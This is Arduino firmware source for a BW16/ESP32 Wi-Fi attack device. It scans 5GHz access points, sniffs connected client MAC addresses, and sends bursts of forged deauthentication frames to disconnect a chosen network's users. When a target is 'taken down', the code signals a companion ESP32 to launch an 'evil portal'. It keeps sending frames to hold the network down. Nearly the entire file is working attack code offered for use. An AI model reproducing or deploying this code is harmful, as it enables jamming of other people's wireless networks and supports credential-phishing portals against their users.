#include <WiFi.h>
#include <WiFiUdp.h>
#include <ArduinoJson.h>
#include <vector>

// Optional ESP32-specific includes for raw 802.11 TX and critical sections
#ifdef ARDUINO_ARCH_ESP32
  #include <esp_wifi.h>
  #include <freertos/FreeRTOS.h>
  #include <freertos/portmacro.h>
#endif

// --- WiFi compatibility layer (do not change behavior, only unify calls) ---
// Forward declare the user handler implemented later in this file
void promiscuousCallback(uint8_t *buf, uint16_t len);

#ifdef ARDUINO_ARCH_ESP32
static void IRAM_ATTR promiscuousRxAdapter(void* buf, wifi_promiscuous_pkt_type_t type) {
    if (!buf) return;
    // Pass raw payload to existing handler to preserve behavior
    wifi_promiscuous_pkt_t* pkt = reinterpret_cast<wifi_promiscuous_pkt_t*>(buf);
    uint8_t* payload = const_cast<uint8_t*>(pkt->payload);
    uint16_t len = pkt->rx_ctrl.sig_len;
    promiscuousCallback(payload, len);
}
static inline void WiFiCompat_setPromiscuous(bool enable) { esp_wifi_set_promiscuous(enable); }
static inline void WiFiCompat_setPromiscuousCallback() { esp_wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
static inline void WiFiCompat_setChannel(int ch) { esp_wifi_set_channel((uint8_t)ch, WIFI_SECOND_CHAN_NONE); }
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool /*en_ch*/ ) { esp_wifi_80211_tx(WIFI_IF_STA, (void*)buf, len, true); }
#else
extern "C" {
    void wifi_set_promiscuous(bool);
    void wifi_set_promiscuous_rx_cb(void (*cb)(uint8_t*, uint16_t));
    void wifi_send_pkt_freedom(uint8_t* buf, int len, bool);
    void wifi_set_channel(int ch);
}
static void promiscuousRxAdapter(uint8_t* buf, uint16_t len) { promiscuousCallback(buf, len); }
static inline void WiFiCompat_setPromiscuous(bool enable) { wifi_set_promiscuous(enable); }
static inline void WiFiCompat_setPromiscuousCallback() { wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
static inline void WiFiCompat_setChannel(int ch) { wifi_set_channel(ch); }
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool en_ch) { wifi_send_pkt_freedom((uint8_t*)buf, len, en_ch); }
#endif

// Lightweight critical section helpers for concurrent access from callback
#ifdef ARDUINO_ARCH_ESP32
static portMUX_TYPE g_vectorMux = portMUX_INITIALIZER_UNLOCKED;
  #define CRIT_ENTER() portENTER_CRITICAL(&g_vectorMux)
  #define CRIT_EXIT()  portEXIT_CRITICAL(&g_vectorMux)
#else
  #define CRIT_ENTER()
  #define CRIT_EXIT()
#endif

// Communication with ESP32 - Fixed pin assignments
#define ESP32_UART_TX 7
#define ESP32_UART_RX 8
#define UART_BAUD 115200

// WiFi configuration
#define MAX_SCAN_RESULTS 50
#define DEAUTH_FRAME_SIZE 26
#define BEACON_FRAME_SIZE 128

// Attack parameters
#define DEAUTH_PACKETS_PER_BURST 50
#define DEAUTH_BURST_INTERVAL 100  // ms
#define SUCCESS_THRESHOLD 10       // successful deauths to consider target down

// Structure for 5GHz access points
struct AP5GHz {
    String ssid;
    String bssid;
    uint8_t bssid_bytes[6];
    int channel;
    int rssi;
    String security;
    bool is_target = false;
    bool is_down = false;
    int deauth_count = 0;
    unsigned long last_seen = 0;
    unsigned long attack_start = 0;
};

// Structure for connected clients
struct Client {
    uint8_t mac[6];
    String mac_str;
    String ap_bssid;
    int rssi;
    unsigned long last_seen;
    bool is_target = false;
};

// Global variables
std::vector<AP5GHz> accessPoints5GHz;
std::vector<Client> connectedClients;
std::vector<String> targetBSSIDs;

bool scanning = false;
bool attacking = false;
String currentAttackType = "";
unsigned long lastScanUpdate = 0;
unsigned long lastAttackUpdate = 0;
unsigned long lastHeartbeat = 0;

// Attack statistics
struct AttackStats {
    int total_deauths_sent = 0;
    int successful_disconnects = 0;
    int active_targets = 0;
    unsigned long attack_duration = 0;
    String current_target_ssid = "";
    String current_target_bssid = "";
} attackStats;

void setup() {
    Serial.begin(UART_BAUD);
    Serial1.begin(UART_BAUD, SERIAL_8N1, ESP32_UART_RX, ESP32_UART_TX);
    
    // Initialize WiFi in monitor mode for 5GHz
    WiFi.mode(WIFI_STA);
    WiFi.disconnect();
    
    // Enable promiscuous mode for packet injection
    WiFiCompat_setPromiscuous(true);
    WiFiCompat_setPromiscuousCallback();
    
    Serial.println("BW16 5GHz Deauth System Initialized");
    sendToESP32("BW16_READY", "5GHz deauth system online");
    
    delay(1000);
}

void loop() {
    // Handle ESP32 commands
    handleESP32Communication();
    
    // Update scanning
    if (scanning) {
        updateScan();
    }
    
    // Update attacks
    if (attacking) {
        updateAttacks();
    }
    
    // Send periodic heartbeat
    if (millis() - lastHeartbeat > 5000) {
        sendHeartbeat();
        lastHeartbeat = millis();
    }
    
    delay(10);
}

void handleESP32Communication() {
    if (Serial1.available()) {
        String message = Serial1.readStringUntil('\n');
        message.trim();
        
        if (message.startsWith("CMD:")) {
            processCommand(message.substring(4));
        }
    }
}

void processCommand(String command) {
    DynamicJsonDocument doc(1024);
    deserializeJson(doc, command);
    
    String cmd = doc["command"];
    
    if (cmd == "start_scan_5ghz") {
        startScan5GHz();
    } else if (cmd == "stop_scan") {
        stopScan();
    } else if (cmd == "start_deauth") {
        String target = doc["target"];
        String ssid = doc["ssid"];
        startDeauthAttack(target, ssid);
    } else if (cmd == "stop_attack") {
        stopAttack();
    } else if (cmd == "get_status") {
        sendStatus();
    } else if (cmd == "set_channel") {
        int channel = doc["channel"];
        setChannel5GHz(channel);
    }
}

void startScan5GHz() {
    scanning = true;
    accessPoints5GHz.clear();
    connectedClients.clear();
    
    Serial.println("Starting 5GHz scan...");
    
    // Scan 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161, 165)
    static const int channels_5ghz[] = {36, 40, 44, 48, 149, 153, 157, 161, 165};
    const size_t ch_count = sizeof(channels_5ghz)/sizeof(channels_5ghz[0]);
    
    for (size_t i = 0; i < ch_count; i++) {
        setChannel5GHz(channels_5ghz[i]);
        delay(500); // Dwell time per channel
        
        // Perform active scan on this channel
        scanChannel5GHz(channels_5ghz[i]);
    }
    
    sendToESP32("SCAN_COMPLETE", "5GHz scan finished");
}

void scanChannel5GHz(int channel) {
    Serial.printf("Scanning 5GHz channel %d\n", channel);
    
    // Use WiFi.scanNetworks() for 5GHz
    int n = WiFi.scanNetworks(false, true, false, 300U, channel);
    
    for (int i = 0; i < n; i++) {
        // Only process 5GHz networks (channels > 14)
        if (WiFi.channel(i) > 14) {
            AP5GHz ap;
            ap.ssid = WiFi.SSID(i);
            ap.bssid = WiFi.BSSIDstr(i);
            // Safer BSSID parse to prevent sscanf integer size issues
            parseBSSIDSafe(ap.bssid, ap.bssid_bytes);
            ap.channel = WiFi.channel(i);
            ap.rssi = WiFi.RSSI(i);
            ap.security = getSecurityType(WiFi.encryptionType(i));
            ap.last_seen = millis();
            
            // Check if AP already exists
            bool exists = false;
            for (auto& existing : accessPoints5GHz) {
                if (existing.bssid == ap.bssid) {
                    existing.last_seen = millis();
                    existing.rssi = ap.rssi;
                    exists = true;
                    break;
                }
            }
            
            if (!exists) {
                accessPoints5GHz.push_back(ap);
                
                // Send AP info to ESP32
                DynamicJsonDocument apDoc(512);
                apDoc["type"] = "AP_FOUND";
                apDoc["ssid"] = ap.ssid;
                apDoc["bssid"] = ap.bssid;
                apDoc["channel"] = ap.channel;
                apDoc["rssi"] = ap.rssi;
                apDoc["security"] = ap.security;
                apDoc["band"] = "5GHz";
                
                String apData;
                serializeJson(apDoc, apData);
                sendToESP32("AP_DATA", apData);
            }
        }
    }
    
    WiFi.scanDelete();
}

void startDeauthAttack(String targetBSSID, String targetSSID) {
    attacking = true;
    currentAttackType = "deauth";
    
    attackStats.current_target_bssid = targetBSSID;
    attackStats.current_target_ssid = targetSSID;
    attackStats.attack_duration = millis();
    attackStats.total_deauths_sent = 0;
    attackStats.successful_disconnects = 0;
    
    // Find target AP
    AP5GHz* targetAP = nullptr;
    for (auto& ap : accessPoints5GHz) {
        if (ap.bssid == targetBSSID) {
            ap.is_target = true;
            ap.attack_start = millis();
            targetAP = &ap;
            break;
        }
    }
    
    if (!targetAP) {
        Serial.println("Target AP not found!");
        sendToESP32("ATTACK_ERROR", "Target AP not found");
        return;
    }
    
    // Set channel to target AP's channel
    setChannel5GHz(targetAP->channel);
    
    Serial.printf("Starting deauth attack on %s (%s) channel %d\n", 
                  targetSSID.c_str(), targetBSSID.c_str(), targetAP->channel);
    
    // Start monitoring for clients
    startClientDiscovery(targetBSSID);
    
    sendToESP32("ATTACK_STARTED", targetBSSID + ":" + targetSSID);
}

void startClientDiscovery(String apBSSID) {
    // Enable promiscuous mode to capture client frames
    wifi_set_promiscuous(true);
    
    // Clear existing clients for this AP
    connectedClients.erase(
        std::remove_if(connectedClients.begin(), connectedClients.end(),
                      [apBSSID](const Client& c) { return c.ap_bssid == apBSSID; }),
        connectedClients.end());
    
    Serial.printf("Discovering clients for AP: %s\n", apBSSID.c_str());
}

void updateAttacks() {
    if (!attacking || currentAttackType != "deauth") return;
    
    // Find active target
    AP5GHz* targetAP = nullptr;
    for (auto& ap : accessPoints5GHz) {
        if (ap.is_target && !ap.is_down) {
            targetAP = &ap;
            break;
        }
    }
    
    if (!targetAP) {
        Serial.println("No active target found");
        stopAttack();
        return;
    }
    
    // Send deauth packets every 100ms
    if (millis() - lastAttackUpdate > DEAUTH_BURST_INTERVAL) {
        sendDeauthBurst(targetAP);
        lastAttackUpdate = millis();
        
        // Check if target is down
        if (targetAP->deauth_count >= SUCCESS_THRESHOLD) {
            targetAP->is_down = true;
            attackStats.successful_disconnects++;
            
            Serial.printf("Target %s successfully taken down!\n", targetAP->ssid.c_str());
            
            // Notify ESP32 to start evil portal
            DynamicJsonDocument successDoc(512);
            successDoc["type"] = "DEAUTH_SUCCESS";
            successDoc["ssid"] = targetAP->ssid;
            successDoc["bssid"] = targetAP->bssid;
            successDoc["channel"] = targetAP->channel;
            successDoc["deauth_count"] = targetAP->deauth_count;
            
            String successData;
            serializeJson(successDoc, successData);
            sendToESP32("DEAUTH_SUCCESS", successData);
            
            // Continue attacking to keep it down
        }
    }
}

void sendDeauthBurst(AP5GHz* targetAP) {
    uint8_t deauthPacket[DEAUTH_FRAME_SIZE];
    
    // Build deauth frame
    // Frame Control
    deauthPacket[0] = 0xC0; // Type: Management, Subtype: Deauthentication
    deauthPacket[1] = 0x00;
    
    // Duration
    deauthPacket[2] = 0x00;
    deauthPacket[3] = 0x00;
    
    // Destination (broadcast)
    memset(&deauthPacket[4], 0xFF, 6);
    
    // Source (AP BSSID)
    memcpy(&deauthPacket[10], targetAP->bssid_bytes, 6);
    
    // BSSID (AP BSSID)
    memcpy(&deauthPacket[16], targetAP->bssid_bytes, 6);
    
    // Sequence Control
    deauthPacket[22] = 0x00;
    deauthPacket[23] = 0x00;
    
    // Reason Code (0x0007 = Class 3 frame received from nonassociated STA)
    deauthPacket[24] = 0x07;
    deauthPacket[25] = 0x00;
    
    // Send burst of deauth packets
    for (int i = 0; i < DEAUTH_PACKETS_PER_BURST; i++) {
        // Broadcast deauth
        WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
        
        // If we have discovered clients, target them specifically
        CRIT_ENTER();
        for (const auto& client : connectedClients) {
            if (client.ap_bssid == targetAP->bssid) {
                // Modify destination to client MAC
                memcpy(&deauthPacket[4], client.mac, 6);
                WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
                
                // Also send from client to AP
                memcpy(&deauthPacket[4], targetAP->bssid_bytes, 6);  // Destination: AP
                memcpy(&deauthPacket[10], client.mac, 6);           // Source: Client
                WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
            }
        }
        CRIT_EXIT();
        
        delayMicroseconds(100); // Small delay between packets
    }
    
    targetAP->deauth_count += DEAUTH_PACKETS_PER_BURST;
    attackStats.total_deauths_sent += DEAUTH_PACKETS_PER_BURST;
    
    Serial.printf("Sent %d deauth packets to %s (total: %d)\n", 
                  DEAUTH_PACKETS_PER_BURST, targetAP->ssid.c_str(), targetAP->deauth_count);
}

void promiscuousCallback(uint8_t *buf, uint16_t len) {
    if (len < 24) return; // Minimum frame size
    
    // Parse frame type
    uint8_t frameType = buf[0] & 0xFC;
    uint8_t frameSubType = (buf[0] & 0xF0) >> 4;
    
    // Look for data frames to identify clients
    if (frameType == 0x08) { // Data frame
        uint8_t* srcMAC = &buf[10];
        uint8_t* dstMAC = &buf[4];
        uint8_t* bssid = &buf[16];
        
        // Check if this is communication with our target AP
        for (const auto& ap : accessPoints5GHz) {
            if (ap.is_target && memcmp(bssid, ap.bssid_bytes, 6) == 0) {
                // Found client communication
                uint8_t* clientMAC = nullptr;
                
                // Determine which MAC is the client
                if (memcmp(srcMAC, ap.bssid_bytes, 6) != 0) {
                    clientMAC = srcMAC;
                } else if (memcmp(dstMAC, ap.bssid_bytes, 6) != 0) {
                    clientMAC = dstMAC;
                }
                
                if (clientMAC) {
                    addDiscoveredClient(clientMAC, ap.bssid);
                }
                break;
            }
        }
    }
}

void addDiscoveredClient(uint8_t* clientMAC, String apBSSID) {
    // Check if client already exists
    CRIT_ENTER();
    for (auto& client : connectedClients) {
        if (memcmp(client.mac, clientMAC, 6) == 0 && client.ap_bssid == apBSSID) {
            client.last_seen = millis();
            CRIT_EXIT();
            return;
        }
    }
    
    // Add new client
    Client newClient;
    memcpy(newClient.mac, clientMAC, 6);
    newClient.mac_str = macToString(clientMAC);
    newClient.ap_bssid = apBSSID;
    newClient.last_seen = millis();
    newClient.is_target = true;
    
    connectedClients.push_back(newClient);
    CRIT_EXIT();
    
    Serial.printf("Discovered client: %s connected to %s\n", 
                  newClient.mac_str.c_str(), apBSSID.c_str());
    
    // Notify ESP32 about discovered client
    DynamicJsonDocument clientDoc(256);
    clientDoc["type"] = "CLIENT_FOUND";
    clientDoc["mac"] = newClient.mac_str;
    clientDoc["ap_bssid"] = apBSSID;
    
    String clientData;
    serializeJson(clientDoc, clientData);
    sendToESP32("CLIENT_DATA", clientData);
}

void stopScan() {
    scanning = false;
    Serial.println("5GHz scan stopped");
    sendToESP32("SCAN_STOPPED", "");
}

void stopAttack() {
    attacking = false;
    currentAttackType = "";
    
    // Reset target flags
    for (auto& ap : accessPoints5GHz) {
        ap.is_target = false;
        ap.is_down = false;
        ap.deauth_count = 0;
    }
    
    // Clear client targets
    for (auto& client : connectedClients) {
        client.is_target = false;
    }
    
    WiFiCompat_setPromiscuous(false);
    
    Serial.println("Attack stopped");
    sendToESP32("ATTACK_STOPPED", "");
}

void setChannel5GHz(int channel) {
    // Set 5GHz channel
    WiFiCompat_setChannel(channel);
    Serial.printf("Set 5GHz channel to %d\n", channel);
}

void sendStatus() {
    DynamicJsonDocument statusDoc(1024);
    statusDoc["type"] = "BW16_STATUS";
    statusDoc["scanning"] = scanning;
    statusDoc["attacking"] = attacking;
    statusDoc["attack_type"] = currentAttackType;
    statusDoc["aps_found"] = accessPoints5GHz.size();
    statusDoc["clients_found"] = connectedClients.size();
    
    // Attack statistics
    JsonObject stats = statusDoc.createNestedObject("attack_stats");
    stats["total_deauths"] = attackStats.total_deauths_sent;
    stats["successful_disconnects"] = attackStats.successful_disconnects;
    stats["current_target_ssid"] = attackStats.current_target_ssid;
    stats["current_target_bssid"] = attackStats.current_target_bssid;
    
    if (attacking) {
        stats["attack_duration"] = (millis() - attackStats.attack_duration) / 1000;
    }
    
    String statusData;
    serializeJson(statusDoc, statusData);
    sendToESP32("STATUS", statusData);
}

void sendHeartbeat() {
    DynamicJsonDocument heartbeatDoc(256);
    heartbeatDoc["type"] = "HEARTBEAT";
    heartbeatDoc["uptime"] = millis() / 1000;
    heartbeatDoc["free_memory"] = ESP.getFreeHeap();
    
    String heartbeatData;
    serializeJson(heartbeatDoc, heartbeatData);
    sendToESP32("HEARTBEAT", heartbeatData);
}

void updateScan() {
    // Periodic scan updates
    if (millis() - lastScanUpdate > 10000) { // Every 10 seconds
        // Remove old APs
        accessPoints5GHz.erase(
            std::remove_if(accessPoints5GHz.begin(), accessPoints5GHz.end(),
                          [](const AP5GHz& ap) { return millis() - ap.last_seen > 30000; }),
            accessPoints5GHz.end());
        
        lastScanUpdate = millis();
    }
}

void sendToESP32(String type, String data) {
    DynamicJsonDocument doc(1024);
    doc["type"] = type;
    doc["data"] = data;
    doc["timestamp"] = millis();
    
    String message;
    serializeJson(doc, message);
    
    Serial1.println(message);
    Serial.printf("Sent to ESP32: %s\n", message.c_str());
}

// Utility functions
// Original kept for compatibility; prefer parseBSSIDSafe
void parseBSSID(String bssidStr, uint8_t* bssidBytes) {
    parseBSSIDSafe(bssidStr, bssidBytes);
}

void parseBSSIDSafe(const String& bssidStr, uint8_t* bssidBytes) {
    unsigned int v[6] = {0};
    if (sscanf(bssidStr.c_str(), "%02x:%02x:%02x:%02x:%02x:%02x",
               &v[0], &v[1], &v[2], &v[3], &v[4], &v[5]) == 6) {
        for (int i = 0; i < 6; ++i) bssidBytes[i] = static_cast<uint8_t>(v[i]);
    } else {
        memset(bssidBytes, 0, 6);
    }
}

String macToString(uint8_t* mac) {
    char macStr[18];
    sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X",
            mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    return String(macStr);
}

String getSecurityType(wifi_auth_mode_t encType) {
    switch (encType) {
        case WIFI_AUTH_OPEN: return "Open";
        case WIFI_AUTH_WEP: return "WEP";
        case WIFI_AUTH_WPA_PSK: return "WPA";
        case WIFI_AUTH_WPA2_PSK: return "WPA2";
        case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
        case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
        case WIFI_AUTH_WPA3_PSK: return "WPA3";
        default: return "Unknown";
    }
}